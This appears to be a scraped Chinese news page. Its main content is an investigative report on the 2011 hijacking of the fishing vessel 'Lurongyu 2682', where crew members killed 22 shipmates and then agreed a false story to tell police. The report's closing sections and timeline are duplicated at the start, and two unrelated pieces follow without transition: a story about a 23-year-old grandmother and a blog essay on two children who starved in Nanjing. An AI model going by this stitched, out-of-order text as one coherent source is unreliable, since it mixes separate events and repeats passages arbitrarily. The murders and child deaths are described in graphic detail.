刘贵夺称，他和船长商量了，为了逃避惩罚，和其他船员订了攻守同盟。
称是包德等人要回国劫持了船长，并索要船员的钱财，杀人，船舱进水后，包德等人穿着救生衣跳海了。与此同时， 他们将很多作案细节移花接木到包德等人身上。
一名参加庭审的律师回忆称，11人商定统一说法后， 把编造的内容写在纸上，所有人都要求背诵熟悉。
7月29日，农业部指令正在北太平洋执行任务的中国渔政118船抵达并拖带“鲁荣渔2682”号返航。荣成市同时派出两条大马力渔船前往接应。
2011年8月12日上午，石岛大雨瓢泼，“鲁荣渔2682”号被拖回码头，渔船靠岸之前，大批警察和警车严阵以待，道路两旁拉起了警戒线，船上的11人，直接被警察带走，每人单独一辆警车。
次日，官方发布消息，警方初步认定“鲁荣渔2682”号曾发生重大刑事案件。
■关系网■
船长李承权
从大连召集船员， 包括关系密切的二副王永波、伙食长夏琦勇， 及大副付义忠等10人。多人属该船的管理层。
船员刘贵夺
1984年出生， 背负人命最多者，是大连一个中介公司介绍上船的， 关系密切者有姜晓龙、黄金波、王鹏等人。他们多人来自黑龙江。
船员包德
所谓“内蒙古帮”的头目，成员有双喜、戴福顺、包宝成等人，同样是大连的中介公司介绍上船的。
■时间表■
2010年12月27日
“鲁荣渔2682”号在船长李承权的带领下， 从我国北方最大的渔港威海石岛渔港起锚。
33人中， 仅有10人曾经出过海，18人出航前并没有海员证。而没有海员证的船员，是在船出海后，公司用船运送至“鲁荣渔2682”号渔船上。
2011年6月16日
“鲁荣渔2682”号在智利海域补满燃油。23时许，刘贵夺伙同包德等人在舵楼劫持船长李承权，威逼其返航回国。
次日， 伙食长夏琦勇持刀到舵楼门口要求见船长， 姜晓龙持刀将其捅倒加害， 最后将夏琦勇抛至海中， 并捆绑大副付义忠。
2011年7月20日左右
“鲁荣渔2682”号行至夏威夷以西海域时，刘贵夺、包德等人预谋先杀害疑有反抗迹象的温斗、温密、岳朋、刘刚、王永波和姜树涛6人，再杀害陈国军、薄福军、吴国志3人。其间，马玉超失踪。
船长李承权、崔勇、段志芳为求自保，主动要求加入刘贵夺等人。
2011年7月24日
“鲁荣渔2682”号行至日本以东1000余海里的西北太平洋海域时， 刘贵夺得到黄金波告密， 包德等人意欲“谋反”。当晚，刘贵夺先指使人持刀捅刺包德，逼其跳海。
继而，双喜、戴福顺、包宝成、单国喜、邱荣华或被刺伤，均逼迫跳海。
2011年7月25日凌晨
逃亡日本途中，7月25日凌晨4时许，机舱进水、失去动力、船体倾斜，王延龙失踪，船长求救。付义忠、官学军、丁玉民、宋国春4人身着救生衣准备逃走，被刘贵夺、李承权等人加害，4人被迫跳海。
宋国春在海中求救后被拉上渔船， 段志芳、项立山被逼“沾血”， 二人为自保伙同黄金波将宋国春所穿救生衣脱下，又将其手脚捆绑并系上铁坠沉海杀害。
2011年8月12日
7月29日， 农业部指令中国渔政118船抵达并拖带“鲁荣渔2682”号返航，荣成市也派出两条大马力渔船前往接应。8月12日上午， “鲁荣渔2682”号渔船回到出航地———石岛码头。
■ 缘起工资标准争议和粗暴管理
■ 11名船员被指控犯有故意杀人罪等开庭8个月仍未宣判
东方早报 www.dfdaily.com 中国 National
早报记者 黄志强 发自威海、大连
早报记者 于松
 |
“我们的船现在出航，2010年12月28日12时58分（注： 起诉书为12月27日），你记好这个点。”“鲁荣渔2682”号远洋渔船二副王永波再三叮嘱妻子牢记出发时间，根据合同，两年后的这一时刻就是渔船归航的时候， 多一天都是超期。然而，8个月后的2011年8月12日上午， 当这艘赴东南太平洋秘鲁、智利海域进行鱿钓作业的远洋渔船被拖回出发地山东荣成石岛码头时，包括王永波在内的22名船员却消失在茫茫大海，没有归期。船上仅剩的11人，直接被警察带走，每人单独一辆警车。
次日，官方发布消息，警方初步认定“鲁荣渔2682”号曾发生重大刑事案件。
20人死亡，2人失踪。
2012年11月15日、16日， 在山东威海文登市人民法院，公开审理了“刘贵夺等11名被告人劫持船只故意杀人”案。包括船长李承权在内的11名船员竟然全部站上了被告席，被指控犯有劫持船只罪、故意杀人罪、抢劫等罪名，罪名重者，28岁的刘贵夺背负了20条人命，而罪名最轻的两人，也各背负了1条人命。
两天庭审揭开了这起海上惨案的冰山一角，压迫、造反、劫船、杀戮、告密、内讧、逃亡、失踪……“鲁荣渔2682”号的末途之旅逐渐清晰，但围绕这艘死亡渔船的诸多谜团仍未解开。
近日，早报记者走访当事人家属、辩护律师、庭审旁听人员以及远洋渔船船员等相关人员， 还原这起尘封两年多的海上惨案。“鲁荣渔2682”号，这艘飘荡在浩瀚太平洋的小船， 犹如一片孤岛，船上的人时刻面临着生与死、希望与绝望、人性与兽性的挣扎，一句话、一个眼神都可能诱发一场杀戮。
案发已两年， 开庭时间也过去了近8个月，但截至记者发稿前，该案仍未宣判。而7月10日，受害者家属状告该渔船所属公司的案子即将开庭。
 |
【起航：就当我出去上学了】
山东威海石岛， 是中国北方最大渔港。渔港码头林立，渔船如织。
“鲁荣渔2682”号属大洋鱿钓船，船长36.98米、宽7米，排水量为233吨，主机功率为330千瓦。
2010年10月， 时年41岁的船长李承权找来了多年好友付义忠、王永波担任“鲁荣渔2682”号大副、二副，共同管理这艘远洋渔船。
“鲁荣渔2682”号最终出海的33人来自黑龙江、内蒙古、辽宁、安徽、贵州等地。其中多数船员由船长、大副、二副邀约，中介介绍上船。由于船长来自大连， 所以渔船的管理层多从大连召集而来，二副王永波将亲戚吴国志、姜树涛、段志芳和崔勇介绍上船，同样来自大连的还有温斗、温密兄弟，他们分别是渔船的轮机长和二管轮， 伙食长夏琦勇、1987年出生的王鹏等。
2010年11月中下旬，“鲁荣渔2682”号上的刘贵夺、姜晓龙、黄金波等人， 通过大连一家中介公司介绍上船， 一同通过中介牵线上船的还有以内蒙古人包德格吉日胡（下称包德）为首的“内蒙古帮”。
黑龙江龙江县人刘贵夺， 这一年26岁。初中辍学后务农， 此后外出打工，干过销售员、建筑工人，2000年左右干过船员，但仅有出海两天的经历。
事实上，除了船长、大副等管理层属于职业海员出过海外， 船上大部分船员均没有远洋出海经历。
船员在出海前都与公司签订了聘用合同， 出海到东南太平洋渔场进行鱿钓生产期间的保底收入每年人民币45000元，劳动合同期限为2年。与此同时，合同附件列有工资标准，包括月工资、年工资和提成标准。此后在作业期间， 对保底收入和工资标准的争议理解成为血案的导火索。
12月28日， 张岳林接到丈夫王永波的电话，“鲁荣渔2682” 号起航，“2010年12月28日12时58分”， 丈夫再三叮嘱她记好这个时间点，以防超期，“不知道起诉书为什么将渔船出海时间提前了一天”，张岳林至今疑惑。
大学刚毕业一年的马玉超给母亲打电话说：“今天要走了， 一会儿就没有信号了， 妈你别想我， 两年就回来了，就当我出去上学了。”此前，他一直瞒着家人，直到临近出海才告知家人，母亲哭着让他别去，但他仍坚持出海，“两年能攒点钱，回来可以干点事。”马玉超的母亲至今仍不清楚儿子如何踏上这艘远洋渔船的。
怀揣着憧憬，“鲁荣渔2682”号满载着33人驶向太平洋，开始“淘金之旅”。
【劫船：回国打官司】
“鲁荣渔2682”号航行了两个月左右抵达秘鲁海域，一切并无不妥，其间经历春节， 很多船员通过海事电话与家人联系过。
然而，随着鱿钓作业的开始，阴影逐渐笼罩“鲁荣渔2682”号。
刘贵夺的口供称，“（2011年）6月初，每天工作18个小时是少的，还有连续工作两宿一白天，不睡觉，我们都非常疲倦，累坏了。”
另有家属回忆，在庭审过程中，有船员称船长的粗暴管理激发了矛盾，“船上不许说话，不许抽烟，甚至殴打船员”， 其中有两名船员因病不能干活，船长让公司停发了他们的工资。
收入疑问是另一个导火索。姜晓龙口供称，“钓了2个月左右， 船上船员开始讨论说，工作太累，工资没有保障，我们的工钱根本就不是公司给我们签合同说的那样保底45000元， 公司合同都是骗人的”，“后来刘贵夺找我商量劫船回家， 我记得说过三次”，“刘贵夺说劫回去，我们就跟公司打官司，我有关系能找到人”。姜晓龙，1976年出生，黑龙江人，与刘贵夺关系密切，两人是老乡。
刘贵夺在庭审现场称， 自己干活最多，但算下来的收入“还不够买烟的钱”。船员一般会在出海前赊欠囤积生活物资，回国后结账。
根据公司提供的生产产量记录，刘贵夺在当年3、4、5月的产量分别为8284斤、5946斤和13586斤， 均排在所有船员的前列。
据威检刑诉〔2012〕68号起诉书称，作业期间，刘贵夺及包德等船员认为鱿钓工作时间长、强度大、收入低，遂心怀不满，于2011年5月份，分别串联姜晓龙、刘成建、黄金波、王鹏、双喜、戴福顺等人，预谋并决定待渔船燃油补给后，即劫持该船返航回国。
刘贵夺回忆， 包德找到他商量了三四次，“说公司骗我们”。两人定下来后，陆续找人串联，懂得开船的王鹏说“没有船长他也行”， 只是马玉超说他不动手， 而4个内蒙古人全听包德的，常说蒙语也听不懂， 他们14人组成了一个团伙。马玉超会计算油耗，他们商量要把船上的油加满，能跑回中国。
机会很快来临。
起诉书称，（2011年）6月16日，在智利海域给“鲁荣渔2682”补满燃油。当日23时许，刘贵夺指使黄金波、王鹏破坏关闭船上的通讯设备、定位系统，又安排姜晓龙等人把守一层甲板通往舵楼的舷梯，伙同包德、双喜等人持刀、棍闯入舵楼船长室，采取持刀捅刺、用棍击打等手段将船长李承权控制住，威逼其返航。
李承权的口供称， 当晚他正在房间睡觉，刘贵夺把他从床上拽起来，让他起锚回国，他不同意，刘贵夺就拿刀朝他的左腿大腿捅了一刀。他问刘贵夺准备干什么，“刘贵夺说自己等人被骗了，和当初签合同讲的不一样，他们在海上干活太累了， 他们要回国找公司讨个说法，要马上起锚回国，不然的话，他就炸船，把船上的人杀了”。
李承权回忆， 因为他的伤口大量出血，温斗用针和岳朋的头发，把他的伤口缝住了。
【冲突：伙食长之死】
伙食长夏琦勇是“鲁荣渔2682”号渔船上第一个受害者。
刘贵夺称，夏琦勇拿了一把刀，上来救船长，被姜晓龙拦下了，他们都拿刀，在那里夺刀，他上去捅夏琦勇左腿一刀，屁股一刀，并喊刘成建把夏琦勇的腿打折了。
姜晓龙回忆， 有人冲到驾驶室门口，他怕局面控制不住，就转到夏琦勇面前， 手里比画着刀，“说让你下去就下去，没你什么事儿”，夏琦勇被扎后，用双手把刀刃抓住，两人开始厮打，在刘成建的帮助下， 他拿刀往夏琦勇胸口扎，但是刀刃应该弯了，没扎进去，他又拿起刀，想继续扎，黄金波拽住他胳膊说“姜哥别扎了，人还活着呢”，他就转身走了，温斗和吴国志跟他说“别干傻事儿”，他说“不会的，老夏要不是硬往里冲，也不会弄他”。
姜晓龙称，“夏琦勇不听我嚷嚷，硬往里挤，我手里拿着刀，没多想就动刀了，再后来夏琦勇倒下以后，我用刀扎他，说实话那时候我就蒙了，也不知道怎么想的，一直到黄金波拽我，我才有点清醒过来”。
刘贵夺称， 他看见姜晓龙和双喜在眼前，就把夏琦勇扔海里了，夏琦勇还在海里游了十多米， 看不见了。后来，大副付义忠也上来了，没反抗，被他们绑了，控制在了舵楼。
伙食长之死，让“鲁荣渔2682”号踏上不归路。
 |
【杀戮：管理层遭血洗】
回航途中，刘贵夺等人实施了严格的管控措施，刘贵夺称，他把通讯工具、对讲机都关了，也没人联系上他们。
姜晓龙称，卫星导航设定好了后，他们9人轮流持刀、铁棍走岗，4人一班，“主要是看二副为首的其他船员，不让他们和船长联系， 防止他们穿救生衣，放救生筏逃跑”，与此同时，船员的住宿位置也被调整。
夏琦勇死后， 刘贵夺让人把杀鱿鱼的刀和救生衣收拾起来了。包德等人将冷藏室的器械的3条腿卸下来做刀。此时的“鲁荣渔2682”号被血腥和恐惧笼罩，船员人人自危，任何一个细节都可能诱发一场杀戮。
刘贵夺回忆， 他和包德发现有人要造反，“二副王永波、岳朋、刘刚、吴国志、单国喜、温斗，一直秘密说话，都被我们发现了， 船的辅机也少了”，刘贵夺还称， 岳朋和单国喜都和薄福军说要“造反”，“薄福军跟我说”。
“过了几天，大概7月16日、17日前后，我和包德说了不能再等了，”不过，刘贵夺称，并不想杀人，“我说不能杀，把主力温斗、岳朋捅伤了就行，他们就不敢反抗了。”
这并未遏制一场杀戮。
检方的起诉书详细描述了作案过程： 刘贵夺在舵楼组织指挥并播放高音音乐掩饰作案， 黄金波将温斗从机舱四人间叫出，并骗至舵楼驾驶室，姜晓龙、刘成建与包德、双喜、戴福顺5人先至机舱四人间内， 持刀将温密杀害后抛至海中。在温斗从舵楼出来下舷梯时，姜晓龙、刘成建、黄金波和包德4人持刀朝其身上乱捅， 并将其推入海中， 后刘成建先将岳朋从十二人间宿舍内喊出，即伙同冯兴艳、包德持刀朝其身上乱捅，逼其跳海，又将刘刚从十二人间喊出，由黄金波、冯兴艳持刀对其捅刺， 姜晓龙捂刘刚的嘴不让其喊叫，包德等人将刘刚抛至海中。后刘成建、刘贵夺与包德3人进入十二人间宿舍内，将王永波杀害抛至海中。
当夜，刘贵夺、黄金波、双喜、戴福顺在渔船右舷廊处， 采取持刀捅刺等手段将姜树涛杀害抛至海中。其间，马玉超失踪。
次日凌晨，刘贵夺、黄金波、王鹏将陈国军叫至渔船前甲板，向其索要银行卡未果后，刘贵夺直接将陈国军推入海中。当日下午，刘贵夺指使人将薄福军叫至甲板，同样索要银行卡未果，王鹏、梅林盛持刀捅刺薄福军致其倒地，刘贵夺用脚将薄福军踹入海中。后吴国志也是如此，被捅刺后，逼其跳入海中。
姜晓龙称， 他不知道为什么要杀姜树涛，“当晚原定要杀的人当中没有姜树涛”，而对于陈国军、薄福军、吴国志的被害原因， 姜晓龙也称不知情，“也没人跟我商量过”。
“说实话杀温密、温斗之前，我们这些人都是喝了点酒壮胆， 杀温斗之后，我酒劲就过了，有些害怕。”姜晓龙称。
此次被杀害的9人中，多人属该船的管理层，与船长关系密切，大多来自大连，其中温斗、温密是兄弟，王永波和吴国志是亲戚， 二副王永波与船长有数十年交情，船长称其为“哥”。
被控制的船长李承权称事后才获悉这场杀戮，他在上厕所时，发现很多血迹， 当晚又发现王永波等人没到驾驶室值班，他就趁刘贵夺、包德吃饭的时候， 悄悄询问大副付义忠，“付义忠比画了一下割脖子的手势， 我就知道坏事了，就问付义忠几个，付义忠又伸出五个手指给我看”。
这一晚大学生马玉超突然失踪。
时至今日， 马玉超的母亲对儿子的失踪仅停留在只言片语，“刘贵夺在庭上说，马玉超看见王永波被杀，很害怕，刘贵夺让他别怕，不会杀他，第二天人就不见了，找了三圈都没有找到”。与马玉超年龄相仿、关系较好的段志芳在庭上回忆， 当晚马玉超斜躺在铺位上，说不敢一个人住，第二天就只剩空被窝，船上的救生衣没有少，枕头下还留有日记，后被扔出大海。
【内讧：“内蒙古帮”被清算】
两天内，9人死亡，1人失踪，“鲁荣渔2682”号气氛骤然紧张，船员人人自危。看似刘贵夺等人已完全掌控渔船，实则暗流涌动。
新一轮杀戮源于一个眼神和一次告密。
起诉书称，7月24日，“鲁荣渔2682” 行至日本以东1000余海里的西北太平洋海域时， 刘贵夺得到黄金波告密称，包德等人意图“谋反”将对其不利， 遂决定先行下手杀害包德、双喜、戴福顺、包宝成，并揪出其他同伙。
刘贵夺称，后来他和姜晓龙、刘成建走近了，感觉包德看他的眼神不对，包德还把他的人赶到船舱底下住，“他们想把我杀了，他们说了算”，此后黄金波的告密激发内讧，“黄金波偷着跟我说，要说个事儿，很严重，我问是不是包德要干掉我，他点头了，我说早猜到了”。
内讧意味着力量的重组。
起诉书称，此前，李承权、崔勇、段志芳为求自保，主动要求加入刘贵夺等人。
姜晓龙回忆，杀包德前四五天，崔勇、段志芳曾找过他，让他找刘贵夺说说， 让两人加入， 他表示自己说了不算， 让两人自己去找刘贵夺，“跟我们干啥，还不知道是死是活呢”、“我自己活哪天都不知道呢”。
船长李承权回忆则称是刘贵夺主动找他，“说他手里有六七条人命”，意思就是说也让他沾点血，不然他也不能活命，并说包德等人想造反，还说二副王永波是被包德杀的。因为他（李承权）和王永波的关系好，就同意杀包德了。
起诉书描述称，当晚，刘贵夺先指使黄金波、王鹏、李承权、崔勇4人持刀捅刺包德，逼其跳海。其间，双喜、戴福顺被迫从已被人持刀看管的十二人间宿舍跳海。随后，刘贵夺将包宝成从机舱四人间宿舍叫出， 并逼迫其从渔船的左舷廊处跳海， 又将单国喜从前铺叫出，王鹏、李承权持刀、鱼枪朝其捅刺， 逼其跳海， 后邱荣华被从前铺叫出，李承权持鱼枪朝邱荣华乱捅，邱荣华被逼逃至船尾后跳海。
清算包德， 刘贵夺进行了颇为复杂的设计。据李承权回忆，刘贵夺先让他和崔勇准备杀包德， 后骗包德说要杀崔勇，并让包德把刀给他，造成他去杀崔勇的假象，同时，刘贵夺又给崔勇一把刀，当空手的包德下到甲板，则被持刀的船长和崔勇包夹在中间。
据崔勇母亲回忆，在庭审现场，崔勇称动手时他非常害怕， 当时并不确定刀是否捅进了包德的身体， 但看到包德身上流血后， 他迅速上前用手把血抹到自己脸上，大喊“我沾血了，我沾血了”。自此，以包德为首的“内蒙古帮”全部被清算。
原本满载33人的“鲁荣渔2682”号仅剩16人，但噩梦并未终止。
【遇险：致命救生筏】
刘贵夺称，“内蒙古帮” 被清算的第二天，他把大家找来，把刀都收了，“不想再杀人了， 然后就把刀收了，我自己保管。”不料，当天凌晨，“鲁荣渔2682”号突然遇险，机舱进水、失去动力、船体倾斜，继而又引发一场混乱，4人死亡，1人失踪。
7月25日凌晨， 李承权起床上厕所，回到驾驶室发觉机器不正常，转速表现实的转速从980猛降到700左右，后发现机舱底部进水， 但此时他已经找不到大管轮王延龙。
刘贵夺称，王延龙是船舱进水前失踪的，“船长说船舱漏水是海底总阀开了，这个只有王延龙和温斗知道，那时候温斗已经没了，只有王延龙知道。”
起诉书称，刘贵夺、李承权组织船员排水自救，付义忠、官学军、丁玉民、宋国春4人身着救生衣，跳上载有救生物资的自制木筏准备逃走。
通过关闭主机、抽水、放锚、绑空油桶等方式，渔船逐步稳定下来，大副等人趁乱弃船逃走， 但洋流又将他们送回到“鲁荣渔2682”号旁边，救生筏不仅没能救命，反而惹来杀身之祸。
李承权称，船员说大副跑了，他招呼付义忠等人上船， 遭到拒绝，“说回来也会被杀死”，等渔船基本稳定后，付义忠等人坐的木筏随洋流又飘回大船旁边。
刘贵夺回忆，船长喊打他们，往死里打，他们扔铁坠砸。
起诉书称， 自制木筏随洋流又飘回渔船附近，刘贵夺、李承权、姜晓龙、刘成建等人朝木筏上扔鱿钓铁坠，付义忠、官学军、宋国春3人被迫弃筏跳海， 姜晓龙跳上木筏持鱼枪捅刺丁玉民，丁玉民也被迫跳海。
跳海的4人中，只有宋国春求救后被拉上渔船，然而，等待他的是更为残忍的结局。
【沾血：系上铁坠沉海】
刘贵夺称，宋国春上船后，船长跟他说， 项立山和段志芳怎么办，“意思是他们没有动手杀人， 意思是宋国春不能留”，随后，他让项立山和段志芳把宋国春绑上铁坠，直接扔海里了，宋国春就直接沉海了。
李承权则否认看见整个过程。
检方起诉书认为， 宋国春在海中求救后被段志芳、黄金波拉上渔船，李承权提出段志芳、项立山没“沾血”，刘贵夺遂指使段志芳、项立山处置宋国春， 二人为自保伙同黄金波将宋国春所穿救生衣脱下， 又将其手脚捆绑并系上铁坠沉海杀害。
事实上，根据刘贵夺等人的描述，“鲁荣渔2682” 号被劫持后，“沾血”的说法不仅出现一次。刘贵夺称，在清理造反派时， 包德就提出梅林盛、冯兴艳、王鹏、丁玉民四人没有杀人，必须让他们手上沾血。
“鲁荣渔2682”号突然遇险，也打乱了刘贵夺等人逃亡的计划。
【逃亡：筹集偷渡经费】
刘贵夺原计划逃亡日本，早在“内蒙古帮”被清除之前，他就开始筹集偷渡潜逃日本的经费。
检方认定的抢劫事实描述如下：刘贵夺为了筹集偷渡潜逃日本的生活经费，同时制造自己被劫假相，以逃脱公安机关侦查， 逼迫组织船上人员通过舵楼内卫星电话， 以生病、受伤为由， 让各自家人向其提供的户名为韩俐的邮政储蓄银行卡打款。单国喜、邱荣华家属信以为真， 先后向该卡汇入人民币共计1万元。
机舱进水后， 李承权和公司在附近作业的船只取得联系， 告知渔船方位，称“马上就要沉了”。
随着求救信号的发出， 消失已久的“鲁荣渔2682”号重见天日，船上的杀戮终于画上了休止符。
 |
【回国：订立攻守同盟】
2011年7月25日，“鲁荣渔2682”号呼救后，山东省荣成市委、市政府立即召开紧急会议， 通过中国海上搜救中心等有关部门协调， 日本海上保安厅先后派出飞机和巡视船进行救援。
李承权回忆称， 当天下午四五点钟，日本的飞机飞抵渔船上空，晚上，一艘货轮来到他们船旁边， 通过对讲机，他告诉对方“他们船上吃的、用的还有，暂时不需要帮助”。
此时， 剩下的11人开始设法掩盖这起海上血案，他们坐在了“同一条船上”。李承权称，当晚，刘贵夺召集11人开会，共同商议一个统一的说法，刘贵夺编了一个说法后，又一起商量过两次。
刘贵夺称，他和船长商量了，为了逃避惩罚，和其他船员订了攻守同盟。
称是包德等人要回国劫持了船长，并索要船员的钱财，杀人，船舱进水后，包德等人穿着救生衣跳海了。与此同时， 他们将很多作案细节移花接木到包德等人身上。
一名参加庭审的律师回忆称，11人商定统一说法后， 把编造的内容写在纸上，所有人都要求背诵熟悉。
7月29日，农业部指令正在北太平洋执行任务的中国渔政118船抵达并拖带“鲁荣渔2682”号返航。荣成市同时派出两条大马力渔船前往接应。
2011年8月12日上午，石岛大雨瓢泼，“鲁荣渔2682”号被拖回码头，渔船靠岸之前，大批警察和警车严阵以待，道路两旁拉起了警戒线，船上的11人，直接被警察带走，每人单独一辆警车。
次日，官方发布消息，警方初步认定“鲁荣渔2682”号曾发生重大刑事案件。
■关系网■
船长李承权
从大连召集船员， 包括关系密切的二副王永波、伙食长夏琦勇， 及大副付义忠等10人。多人属该船的管理层。
船员刘贵夺
1984年出生， 背负人命最多者，是大连一个中介公司介绍上船的， 关系密切者有姜晓龙、黄金波、王鹏等人。他们多人来自黑龙江。
船员包德
所谓“内蒙古帮”的头目，成员有双喜、戴福顺、包宝成等人，同样是大连的中介公司介绍上船的。
 |
■时间表■
2010年12月27日
“鲁荣渔2682”号在船长李承权的带领下， 从我国北方最大的渔港威海石岛渔港起锚。
33人中， 仅有10人曾经出过海，18人出航前并没有海员证。而没有海员证的船员，是在船出海后，公司用船运送至“鲁荣渔2682”号渔船上。
2011年6月16日
“鲁荣渔2682”号在智利海域补满燃油。23时许，刘贵夺伙同包德等人在舵楼劫持船长李承权，威逼其返航回国。
次日， 伙食长夏琦勇持刀到舵楼门口要求见船长， 姜晓龙持刀将其捅倒加害， 最后将夏琦勇抛至海中， 并捆绑大副付义忠。
2011年7月20日左右
“鲁荣渔2682”号行至夏威夷以西海域时，刘贵夺、包德等人预谋先杀害疑有反抗迹象的温斗、温密、岳朋、刘刚、王永波和姜树涛6人，再杀害陈国军、薄福军、吴国志3人。其间，马玉超失踪。
船长李承权、崔勇、段志芳为求自保，主动要求加入刘贵夺等人。
2011年7月24日
“鲁荣渔2682”号行至日本以东1000余海里的西北太平洋海域时， 刘贵夺得到黄金波告密， 包德等人意欲“谋反”。当晚，刘贵夺先指使人持刀捅刺包德，逼其跳海。
继而，双喜、戴福顺、包宝成、单国喜、邱荣华或被刺伤，均逼迫跳海。
2011年7月25日凌晨
逃亡日本途中，7月25日凌晨4时许，机舱进水、失去动力、船体倾斜，王延龙失踪，船长求救。付义忠、官学军、丁玉民、宋国春4人身着救生衣准备逃走，被刘贵夺、李承权等人加害，4人被迫跳海。
宋国春在海中求救后被拉上渔船， 段志芳、项立山被逼“沾血”， 二人为自保伙同黄金波将宋国春所穿救生衣脱下，又将其手脚捆绑并系上铁坠沉海杀害。
2011年8月12日
7月29日， 农业部指令中国渔政118船抵达并拖带“鲁荣渔2682”号返航，荣成市也派出两条大马力渔船前往接应。8月12日上午， “鲁荣渔2682”号渔船回到出航地———石岛码头。
23岁女子当上奶奶 儿媳系昔日同窗
漳州23岁女子当上了奶奶 孙子是她同学生的
戏剧性
16岁的小芳嫁给了大自己16岁的男人，这个男人的儿子又娶了小芳的同学做老婆。在小芳23岁的时候，同学生下了一个男孩。于是，小芳成为了村里最年轻的奶奶。
海西晨报讯(记者 陈小斌 见习记者 白若雪)傍晚时分，在漳州市四都镇某村，经常可以看到两名20多岁的年轻女子共同推着1名男婴在散步。您如果上前询问二人身份，其中一个女子会告诉你："这是我儿媳妇，宝宝是我孙子!"但惊讶远不止于此，这对婆媳曾是昔日同窗，婆婆吴小芳(化名)23岁就当上奶奶的呢。
您可别觉得这是电视剧情，这是一个真实的故事。近日，记者从相关渠道得到了这个消息，当事人小芳不愿直接接受采访，但愿意朋友把自己的真实经历独家透露给本报。
16岁进戏班成"台柱"
小芳是漳州市四都镇的一个农家女孩，父亲常年忙于在外打工，母亲一心忙于农事，没有多少时间来管教小芳。到了初中，处于叛逆期的小芳就经常逃课，和学校里一群女孩子出去逛街、溜冰、去网吧打游戏。因为没把心思放在读书上，小芳的成绩每况愈下。初中毕业后，她就索性走出学校，出外打工。
一次偶然的机会，家里的亲戚介绍她去乡镇的潮剧戏班唱戏，这种"舞台上的工作"让16岁的她十分喜欢。据小芳朋友介绍，小芳长得漂亮又很机灵，不久后就成为戏班的"台柱"。不久，小芳就和同戏班的鼓手李勇(化名)彼此有了好感，随后两人就坠入爱河。
婚事遭到家人反对
李勇是个"鳏夫"，他的妻子因病过世，和小芳谈恋爱时，他已经32岁了，年龄是小芳的两倍。他们的爱情招来女方家人的强烈反对。小芳的母亲说："这样太不吉利了，这个人说不定就是克妻的命，而且还带着1个只比你小1岁的儿子。你条件又不是差到哪里去，何必找这样的呢?你如果敢跟他结婚，以后也就别回来了。"
但是，家人强烈的反对没让小芳就此放弃。小芳的朋友说："李勇对小芳确实很好，非常体贴。"久而久之，小芳的家人也就渐渐地接受了李勇。小芳法定年龄一到，他俩就去领了结婚证。
把同学介绍给儿子
虽是后母，但小芳和李勇之子小明(化名)的关系非常融洽。如果小明心情好，还会来两句"后妈、后妈"，平常一般是直呼大名，小明还会缠着小芳给他介绍对象。
据小芳的朋友介绍，碰巧当时小芳的小学同学阿敏(化名)和小明走得很近，小芳也觉得阿敏这个人"靠谱"，就帮忙给小明出点子。不久后，小明如愿和阿敏在一起了。等到两人的法定年龄一到，就立马领证结婚了。
据传，小明结婚当天，阿敏端茶敬婆婆小芳的时候，两个人都不好意思地笑了，谁都没有想到两个昔日的同学竟然戏剧化地成了婆媳。
结婚当年，阿敏顺利地产下1名男婴，小芳理所当然地当上了奶奶，成为村里最年轻的奶奶，年仅23岁。据小芳的朋友介绍，平日里，婆媳俩推着婴儿小推车出去散步时，村里的人经常开玩笑说："你们一家三代一起出来晒太阳啦。"
现在，李勇还是继续在戏班当鼓手，小明出外打工谋生，婆媳俩则在家带着两个小孩，小芳和李勇的儿子也上学了。此外，婆媳俩在家会串串珠子做一些塑料玩具等小活来贴补家用。记者了解到，他们戏剧般的家庭故事在当地也广为人知。
2013年6月24日星期一
2013年06月24日
2013年06月24日
(2013-06-24 00:19:09)作者BY:陈岚,
2003年6月21日傍晚, 成都市青白江区青江西路65号院的居民发现了李思怡——三岁的她，已在多日的饥渴中，变成了一具小小的尸体。因为民警的玩忽职守，她的母亲被逮捕戒毒后，没有人去关照这个被锁在家中的小女孩。
记者写到，“人们发现,门上有她的手抓过的痕迹,她的指甲有不同程度损伤,所有的柜子都有被翻找过的痕迹.她可能晚上受到惊吓曾经躲进衣柜.通过地上的痕迹,屎尿被小心地放在卫生纸里的状态看,这个小女孩一直在求生,并慢慢死去…我必须做点什么,否则我将无法面对自己的孩子,无法面对自己的良心."
十年。同一个月的同一天，仿佛是怨灵的咒诅——南京，江宁，这个大地上惨绝人伦的一幕竟然重演，这一次，死去的是两个孩子。彷佛人的心被撕裂的还不够彻底，6月20日，两个小小的孩子在紧闭在家中被发现，已经化为干尸。一个一岁，一个四岁。所有的细节需要莫大的勇气才能去了解，而了解之后，会是很多很多人心中一辈子无法挥去的噩梦。今年3月，这两个孩子已经因为极度饥饿，险些死去，四岁女孩侥幸打开了门，光着屁股站在寒冷的楼道里求救，头上已经长出了蛆虫，她狼吞虎咽地吃下好心人送来的包子，而一岁的妹妹被发现时，正爬在抽水马桶里，吃粪便，身上头上都是粪便。
如果有地狱，这已然是地狱了吧？如果这个世界的苦难有尽头——这已然是尽头了吧？
但，不是。
此后，两个孩子依然被送回到她们吸毒成瘾在夜总会上班的母亲身边，而父亲因为吸毒正在监狱里。毒虫母亲时常消失。在一个多月前，邻居最后一次听到两个孩子的哭声，呼喊“妈妈”的哭泣，和小手拍门的声音，最长的时候，那小小的手掌曾经整整拍了一夜的门。
我以为，最恐怖的恐怖片，也不过是如此。
恐怖片有片尾。但这个故事没有。
在一个半月前，她们终于沉寂，不再打扰她们已经不胜其烦的邻居。
我无法想象她们离开这个世界之前，经历了什么。在看到李思怡死讯的那天，我曾长哭如号，而今天，我觉得自己不配，不配流泪。所有的眼泪已经被那两个受尽了苦难的小生命流干。我怎配流泪？每一个围观者在这两个小小的亡者面前都有罪，你和我，整整一个世代的人都有罪。在这些沉默死去的羔羊面前，在一个儿童命若草芥、投胎需要是技术活的年代里，我们都是沉默的帮凶，冷酷的谋杀者。
有人会说，你看你看，派出所都还上门走访过，邻居也曾经报过警，还给过吃的。社会尽责了——比之李思怡，从连一个小指头也不为一个孩子抬一下，到如今还能够上门走访，似乎是有了进步。但是，结果有什么不同么？
当两个孩子满身粪便奄奄一息出现在警察视野里的那一刻，事实已经如此鲜明：除非她们立即得到妥善的看护，否则，死亡只是一天两天的事。在一个丧失人性的吸毒母亲手里，饿死一个孩子，不需要十天或一个星期的周期。这样的常识还需要重复么？发放每个月800元的现金根本没有可能救济到孩子，一个毒虫母亲不会把这钱变成孩子们的食物——这些常识还需要教给专业人士警察么？
